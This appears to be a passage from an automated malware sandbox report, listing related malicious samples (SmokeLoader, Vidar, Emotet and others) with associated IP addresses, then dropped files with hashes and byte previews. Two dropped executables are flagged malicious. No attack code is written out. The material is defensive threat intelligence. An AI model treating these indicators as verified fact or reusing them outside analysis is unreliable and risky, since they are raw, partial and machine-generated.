	hQZTpruokp.elf	Get hash	malicious	Mirai, Moobot	Browse	89.122.209.117
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	109.98.58.98
	setup.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	109.98.58.98

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ce5f3254611a8c095a3d821d44539877	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, SmokeLoader	Browse	95.111.233.125
	file.exe	Get hash	malicious	Fabookie	Browse	95.111.233.125
	file.exe	Get hash	malicious	Fabookie	Browse	95.111.233.125
	file.exe	Get hash	malicious	Fabookie	Browse	95.111.233.125
	file.exe	Get hash	malicious	Fabookie	Browse	95.111.233.125
	gyj6DcYamk.exe	Get hash	malicious	SmokeLoader	Browse	95.111.233.125
	file.exe	Get hash	malicious	SmokeLoader	Browse	95.111.233.125
	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse	95.111.233.125
	file.exe	Get hash	malicious	Fabookie, ManusCrypt, Nymaim	Browse	95.111.233.125
	T28YaMAub3.exe	Get hash	malicious	SmokeLoader	Browse	95.111.233.125
	file.exe	Get hash	malicious	PrivateLoader	Browse	95.111.233.125
	file.exe	Get hash	malicious	Fabookie	Browse	95.111.233.125
	file.exe	Get hash	malicious	Fabookie	Browse	95.111.233.125
	ommegaonline.org_1.one	Get hash	malicious	Emotet	Browse	95.111.233.125
	ommegaonline.org_2.one	Get hash	malicious	Emotet	Browse	95.111.233.125
	Ommega_Online_Publishers.one	Get hash	malicious	Emotet	Browse	95.111.233.125
	Ommega_Publishers.one	Get hash	malicious	Emotet	Browse	95.111.233.125
	iDvs0VER7Y.doc	Get hash	malicious	Unknown	Browse	95.111.233.125
	fHjj8OcGaY.exe	Get hash	malicious	LummaC Stealer, SmokeLoader	Browse	95.111.233.125
	avKof1hzlX.exe	Get hash	malicious	Fabookie	Browse	95.111.233.125
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, SmokeLoader	Browse	144.76.136.153
	FACT641c9.msi	Get hash	malicious	Unknown	Browse	144.76.136.153
	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse	144.76.136.153
	E-Ar#U015fiv_Fatura_800-388-000-279990-80555-8888.exe	Get hash	malicious	Snake Keylogger	Browse	144.76.136.153
	file.exe	Get hash	malicious	Vidar	Browse	144.76.136.153
	Visualizar_CRLV_2023_4142619_406.42766091.234780.48945.cmd	Get hash	malicious	Unknown	Browse	144.76.136.153
	file.exe	Get hash	malicious	PrivateLoader	Browse	144.76.136.153
	Ref_108843474529885_501.31074321.392652.24718.lNk.lnk	Get hash	malicious	Unknown	Browse	144.76.136.153
	documento4.js	Get hash	malicious	Unknown	Browse	144.76.136.153
	documento3.js	Get hash	malicious	Unknown	Browse	144.76.136.153
	documento2.js	Get hash	malicious	Unknown	Browse	144.76.136.153
	documento4.js	Get hash	malicious	Unknown	Browse	144.76.136.153
	documento5.js	Get hash	malicious	Unknown	Browse	144.76.136.153
	documento2.js	Get hash	malicious	Unknown	Browse	144.76.136.153
	documento3.js	Get hash	malicious	Unknown	Browse	144.76.136.153
	documento6.js	Get hash	malicious	Unknown	Browse	144.76.136.153
	documento5.js	Get hash	malicious	Unknown	Browse	144.76.136.153
	documento7.js	Get hash	malicious	Unknown	Browse	144.76.136.153
	documento6.js	Get hash	malicious	Unknown	Browse	144.76.136.153
	documento9.js	Get hash	malicious	Unknown	Browse	144.76.136.153

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_123.exe_c9390c262dc777a5b894ef3ffc53f93451ba6f7_663869f4_1827d9e5\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6204324390321753
Encrypted:	false
SSDEEP:	96:pr/aFj5ZibS3lhcoI7RC6tpXIQcQvc6QcEDMcw3DSuH+HbHg6ZAXGng5FMTPSkvZ:p7aHYusHBUZMXQjE/u7snS274ItjC
MD5:	14110BFF98395BEB268463E18340C7BE
SHA1:	BAD82FADE96C5F9536F7AE3F0A99199098C6F3C8
SHA-256:	64DA332384D2582B75B349C1AB9A4968BD55B852FFCF0D974EFD58BD328AA07C
SHA-512:	1A8DD719D44732E32C18251C763151CC2958EF05DE94B5498CC4DDC7AADDBB2406F6B3A74B5F82B2B7E4CFDF75FC10E35A5BAFD1A778D2476F9AE0FE605BCEC8
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.2.4.0.9.1.2.3.5.3.9.7.3.9.9.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.2.4.0.9.1.2.3.6.7.5.6.7.6.3.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.2.6.3.8.6.a.e.-.a.b.7.7.-.4.4.0.a.-.9.8.1.0.-.3.f.5.6.b.3.9.9.2.a.8.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.d.e.0.d.5.b.f.-.c.5.3.1.-.4.e.0.1.-.a.3.a.0.-.2.b.6.5.5.6.0.c.7.7.f.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.1.2.3...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.2.d.8.-.0.0.0.1.-.0.0.1.f.-.7.2.f.a.-.6.1.6.1.e.7.5.d.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.f.d.3.e.2.7.1.9.9.5.5.5.5.1.e.e.6.3.a.f.a.0.3.a.3.5.a.7.9.a.8.0.0.0.0.f.f.f.f.!.0.0.0.0.0.6.1.a.f.5.8.8.7.0.5.3.0.9.7.f.8.6.f.6.d.8.f.0.1.0.7.6.a.f.1.6.2.4.b.e.2.e.d.f.!.1.2.3...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.3././.0.3././.2.3.:.1.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_321.exe_92fdfb5abace6f3e9e492756c4d129f488d36d2_db58721d_1873da13\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6203718004401306
Encrypted:	false
SSDEEP:	96:pA/l8FDjglFhlSoI7RC6tpXIQcQvc6QcEDMcw3DSOn+HbHg6ZAXGng5FMTPSkvPs:pel8yqHBUZMXQjE/u7snS274Itj
MD5:	1E709DD1A965ED5EDD8416032BD169FC
SHA1:	E7661569B01E22EDC909351850D9767CA6B87522
SHA-256:	95C042569E1ACAD62600FF1EA19A193F506670CEBDAFCA49AEAA8D4D58EF728B
SHA-512:	03E83F8EAD7B0EDC78FC65F57D878DEB37E0F1F6A6D1B163E508D18AEE12191FADDEF2C08C15E75EC2AA8524D5A0803EA61F214EE5DE5EE51304B75AB07F56B6
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.2.4.0.9.1.2.3.7.2.6.2.0.0.3.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.2.4.0.9.1.2.3.8.3.5.5.7.4.9.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.e.d.8.8.9.e.a.-.4.d.0.0.-.4.c.c.3.-.8.c.6.6.-.1.3.5.6.0.d.b.5.8.1.a.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.4.3.7.7.5.6.4.-.6.0.9.6.-.4.0.4.1.-.9.1.a.5.-.3.a.9.c.a.a.e.4.3.7.3.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.3.2.1...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.b.8.8.-.0.0.0.1.-.0.0.1.f.-.2.d.6.8.-.8.5.6.1.e.7.5.d.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.7.c.8.2.c.d.2.e.6.6.8.c.1.d.4.3.c.4.d.2.6.c.4.9.6.c.e.7.1.5.2.0.0.0.0.f.f.f.f.!.0.0.0.0.c.e.5.c.d.7.8.a.a.e.a.9.d.0.1.3.6.f.1.1.4.e.d.b.0.d.9.8.e.4.5.8.3.2.9.1.b.0.a.c.!.3.2.1...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.3././.0.3././.2.3.:.1.9.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB6EB.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Mar 24 00:27:15 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	18342
Entropy (8bit):	2.081470674449768
Encrypted:	false
SSDEEP:	96:5B8i5l8OGYzh1kWuji7kwSum1+gXBEiCaby6Ls3XRTRxWInWIXgIh1bOkmMMh:Ui5pzvkbjOi+gaFabyDXdJ1bOkzMh
MD5:	663827D80F71276EDEE79EEC7DD939B3
SHA1:	51471609887B46C9237A031A689E43CD31734943
SHA-256:	99FEA6F407854F02509BB130F190C5FE2149A30D7DF69A02034721B0426D4834
SHA-512:	E78BCB4313895861D4E234E8997762C6B3058A82186C7A30C0CC764A2B04BAA275133367511C53F1AFFF3F96312C890D71970EA1823F9A37E260D3DC40D7295F
Malicious:	false
Preview:	MDMP....... .......c..d............4........... ...<.......D...............T.......8...........T...........H...^>..........\...........H....................................................................U...........B..............GenuineIntelW...........T...........a..d............................. ..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB854.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6334
Entropy (8bit):	3.7220262429181696
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNicI6ygYASPr+prU89btHksfiHHm:RrlsNiD6ygYASetHXf6G
MD5:	C527120DE128E80125DE17C3C9E91BEF
SHA1:	29492A8ED4B7E4757C6942D681B729BD293AE71A
SHA-256:	387AB7476513032E9D74271FEEE4CB32A1A1BC3F048BC023588C22D73C0BECD8
SHA-512:	6DE94A61F5345B686697BDBDA6DDBFD7BEFC4B9B58322DD0CBBEF723F5227EC127FCF1F4CC9CA047E3C8815B4AC28997DF996A6B8C92BC3DC33CF2F770D7D71F
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.2.8.<./.P.i.d.>.........

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB920.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4669
Entropy (8bit):	4.455816796277085
Encrypted:	false
SSDEEP:	48:cvIwSD8zsxJgtWI9pNWgc8sqYjA8fm8M4J1LzMFw+q8veLzvbF5d:uITfDW8grsqYpJNz5K0zvbF5d
MD5:	91027A9DFF76A0CCB0857D9EC4F6142E
SHA1:	A6CEE2CB1A23A8DC52F52CAB264A7DBDA3D8344C
SHA-256:	61406954C83BD7FBE5514EA99351164ECCCF067DE6DB78BEDC1AFBD719029C63
SHA-512:	05B7019D5D5ADBC114762C3E12EEBFBE4796844F537600CA6DCD38F9A0ED785088FB46A2210FDD73229074DF5C66E978D2BC558C971638BFAB0D99468FCC57D3
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1966177" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBE2F.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Mar 24 00:27:17 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	20078
Entropy (8bit):	1.9486423762944332
Encrypted:	false
SSDEEP:	96:5z8iY8OGYOkpsxJyDi7kecIFxPZqmb3WInWIX4Ip1gpLvn:uiUOkpsHyDOldFx1bx1g1vn
MD5:	E024C250742CF156ED36D72D310741FA
SHA1:	510FF0FB285DF2A9751C9277E5C1ACE4A81C65D1
SHA-256:	4313A4B7857870741C4A5C52C96E18E8FDC070610966A0C083DD06EDF3DF0D10
SHA-512:	D7EAC819842E48B856576105A6AABB4A944C88C8C1B977D7AA5C3630FA81837D14122DE6E749E99DD85DEF737FD9DD3827FAE78FC0A63389F654A73E94C5035B
Malicious:	false
Preview:	MDMP....... .......e..d............4........... ...<.......D...............T.......8...........T...........H...&E..........\...........H....................................................................U...........B..............GenuineIntelW...........T...........a..d............................. ..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBF59.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6344
Entropy (8bit):	3.7196342466331442
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiNl6lSYcSPr+prV89btVBasfCHtm:RrlsNi/6YYcSttVffaw
MD5:	B2C9FC4B011BFDB5734D4F6F989826B9
SHA1:	A5E3D4A4F088E89A8B007363E0467C98D52B529D
SHA-256:	F2EF89F79968CB3E96F78263C52EC82FF98DF82DA07353A6DF4888555C46D347
SHA-512:	037073794F683E22B5F79F18F119526DD86430DF1AEAF44CE334448DEBB5B9A2CBE7AADA06330B2B7BD4BCECFAC3974B40A8DF756844FFAF4BD55395F6334F98
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.9.5.2.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBFB7.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4669
Entropy (8bit):	4.451901525165394
Encrypted:	false
SSDEEP:	48:cvIwSD8zsxJgtWI9pNWgc8sqYjO8fm8M4J+6LzMFtf+q8vULz1eKOfiId:uITfDW8grsqY/J+AzsfK+z1qiId
MD5:	CDE03F1BA53AB3A7689103A1A3D89F8B
SHA1:	68993C84A2231B4A706E7CEBF6F69205BED2699C
SHA-256:	35C21F0FF55CB5FB214A95385B3037E8E35EF39F0523A2C28012E6C86A095C5F
SHA-512:	B758B4B39F8DB2916696179DEDAE98DC2E3E5CE61FB3B6FFD9AF9A5818052AECE5642F8CA8A45447312EC9DAF528DE0A85152495381644174A5E0D754A25B97B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1966177" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	142
Entropy (8bit):	5.090621108356562
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUC7WglAFXMWA2yTMGfsbNRLFS9Am12MFuAvOAsDeieVyn:Q3La/xwczlAFXMWTyAGCDLIP12MUAvvw
MD5:	8C0458BB9EA02D50565175E38D577E35
SHA1:	F0B50702CD6470F3C17D637908F83212FDBDB2F2
SHA-256:	C578E86DB701B9AFA3626E804CF434F9D32272FF59FB32FA9A51835E5A148B53
SHA-512:	804A47494D9A462FFA6F39759480700ECBE5A7F3A15EC3A6330176ED9C04695D2684BF6BF85AB86286D52E7B727436D0BB2E8DA96E20D47740B5CE3F856B5D0F
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.EnterpriseServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Windows\explorer.exe
File Type:	JSON data
Category:	modified
Size (bytes):	985
Entropy (8bit):	5.225141189452099
Encrypted:	false
SSDEEP:	24:YqHZ6T06MhmimH6CUXyhm/mYbNdB6hmUmYz0JahmDmYbxdB6hm1mY7KTdB6hmuXA:YqHZ6T06McLHDUXyceYbNdUcZYz0Jack
MD5:	094FB5672ED4D4990DF33BE15CE2CB40
SHA1:	2BF77D89C6637F478893D63DFC809808C835A839
SHA-256:	19FEE75854625F0D51FE350049FE33EB16CB40E728C9BAADB232CA3E449DECA3
SHA-512:	A542CF7E0BE301B8BB2E369B0750D0C93941E02D044BFA840A28FBBEDD3F3EAF2D4E0F01ED0B3F836C916D0F0B79EEDD084DBE941A6424947C4EFE87AF38B304
Malicious:	false
Preview:	{"RecentItems":[{"AppID":"Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge","PenUsageSec":15,"LastSwitchedLowPart":3031678576,"LastSwitchedHighPart":30840569,"PrePopulated":false},{"AppID":"Microsoft.Office.OneNote_8wekyb3d8bbwe!microsoft.onenoteim","PenUsageSec":15,"LastSwitchedLowPart":4008173792,"LastSwitchedHighPart":30747923,"PrePopulated":true},{"AppID":"Microsoft.WindowsMaps_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":3998173792,"LastSwitchedHighPart":30747923,"PrePopulated":true},{"AppID":"Microsoft.MSPaint_8wekyb3d8bbwe!Microsoft.MSPaint","PenUsageSec":15,"LastSwitchedLowPart":3988173792,"LastSwitchedHighPart":30747923,"PrePopulated":true},{"AppID":"Microsoft.Windows.Photos_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":3968173792,"LastSwitchedHighPart":30747923,"PrePopulated":true},{"AppID":"Microsoft.Getstarted_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":3958173792,"LastSwitchedHighPart":30747923,"PrePopulated":true}]}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\json[1].json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	104
Entropy (8bit):	4.517190359844184
Encrypted:	false
SSDEEP:	3:YWR4buWsyLBHm+aG9fQ8I5CMt6HUSTn:YWybuiTaGWjjKn
MD5:	E7726B15BF91A57C26ED4F9B234F6079
SHA1:	6E353458B87B39D6E20D32D118425366BF1AFD45
SHA-256:	842BE40F0954EA384C937EDD0AD6ABA84FB9D1C65630E4173134101C6535DE78
SHA-512:	F25D199209A05A01401515C7C3B27269D24D02C7CE100AF073A1BC8360CF8958AFA5656D6471A94F77E01CD138DF6BA5DB3CAB5112EB585A2FD30B8C111CCC28
Malicious:	false
Preview:	{"status":"success","countryCode":"CH","city":"Zurich","timezone":"Europe/Zurich","query":"84.17.52.40"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\gggge[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	169
Entropy (8bit):	4.51833957423091
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLPfLRIwcWWGu:q43tISl6kXiMIWSU6XlI5LPtIpfGu
MD5:	84855C13836B389D5EC7CFD4C9266173
SHA1:	1CF3056FF23C4176FD7CA9816A000ED461D6D323
SHA-256:	502083C916AE481CDD413B8D93315300653DF5FB3DCC5770C01991DE19977EAE
SHA-512:	2479112004884D42D4FFE1174DC358C5D1B0FA2B41641D32F2FB67539C4F834D63CFBBF7E98C63B9A64E49B26390C410BB7E50F1AD4A755F32D081367AF05FCB
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx/1.18.0</center>..</body>..</html>..

C:\Users\user\AppData\Local\Temp\66CA.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1217709
Entropy (8bit):	7.817543548632908
Encrypted:	false
SSDEEP:	24576:kTbBv5rUlINj1z+EmdKiTazGSfcElXv8zcAsMVMgSZwU:WBREd3GGSfNpAjpS
MD5:	719082DCC3C017E5B675C8B9EC74B6A1
SHA1:	D189E585B338D3CE5D6F0C04E0CE94AA40343C6A
SHA-256:	6A57409B5F4D0AE13167353C059DDF4B9FE7920647A119A70438DAE02A35586E
SHA-512:	C72824357F2527917E26DC73D979672299E165B15D3114DA66F0FBD4448129CC48487F3079A056AF244D5685E847FF9F1E684341C243C7F14572D5AC0626FEA5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I.>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I.=>...I..=>..Rich<>..........PE..L..... b............................0........0....@..........................`............@.........................p...4.......P....@..P................e...0..<#......T............................U..@............0..x....... ....................text............................... ..`.rdata.......0....... ..............@..@.data... G..........................@....didat.......0......................@....rsrc...P....@......................@..@.reloc..<#...0...$..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\72E5.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	573952
Entropy (8bit):	7.637353397180845
Encrypted:	false
SSDEEP:	12288:VZxv9bGSigvr0PfO3UoXUQOP0QDZNGdR6N8D9ogB:FFSgvOGkoCP0kZ4dR6NJg
MD5:	28C2EC0A0FDAB6BBFC699CC541D9197F
SHA1:	2524B03E400423B566454D604B44CA5F8D2D70A5
SHA-256:	C0B13A0C99D2F4E78A53DDA0F2A0B3538593DD9284D9D51CC41965B02DDECA5D
SHA-512:	15CFDA65115CDEE408011EF45E775FBE4E33B9EAD48EB1202D768A87F18D230DD61851074F34E5688A271C6605D139B5A497C5A4433072E75EFBE183BC7DF628
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F..............I......X.4...._.\|..%<.............V......H......M....Rich...................PE..L.....b......................-...................@...........................4.............................................h...d.....4.......................4.p...p................................:..@............................................text.............................. ..`.data....3,......0..................@....rsrc.........4.....................@..@.reloc..d>....4..@..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\re.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	734533849
Entropy (8bit):	0.01398227363039217
Encrypted:	false
SSDEEP:
MD5:	4D628054BC9957C99A76147FF2D1FF0F
SHA1:	F4768265903C3AAB2C04475ACEFD973EE1A081B6
SHA-256:	53D0BC467AAD4AC95C9655617B34E3859D0BEBA1D80167B4E8A697AA0FEC0B3B
